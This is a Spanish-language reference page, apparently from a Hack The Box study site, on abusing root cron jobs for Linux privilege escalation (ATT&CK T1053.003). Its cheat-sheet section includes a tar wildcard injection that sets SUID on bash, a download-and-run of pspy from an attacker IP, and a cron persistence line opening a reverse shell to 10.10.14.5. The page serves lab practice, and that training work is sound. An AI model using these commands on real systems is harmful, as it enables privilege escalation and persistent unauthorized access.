T1053.003

Cron

Subtécnica de T1053 Tarea o trabajo programado ↗

Aprovechar tareas cron que ejecuta root con scripts o rutas que puedes modificar.

Cómo aparece en Hack The Box

Si no ves nada en /etc/crontab, lanza pspy y espera un par de minutos: muchas tareas de root solo se ven al ejecutarse. Busca scripts escribibles y comodines (tar *).

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada de privilegios en Linux › Comprobaciones

Cron del sistema
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
Temporizadores de systemd
systemctl list-timers --all
Ver procesos que se lanzan solos (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Sin pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done

Escalada de privilegios en Linux › Explotación

tar con comodín en un cron de root
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'

C2 y post-explotación › Persistencia

cron Víctima
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -

pspy › Uso

Procesos y eventos de ficheros, cada segundo Víctima
chmod +x pspy64 && ./pspy64 -pf -i 1000
En sistemas de 32 bits Víctima
./pspy32

Herramientas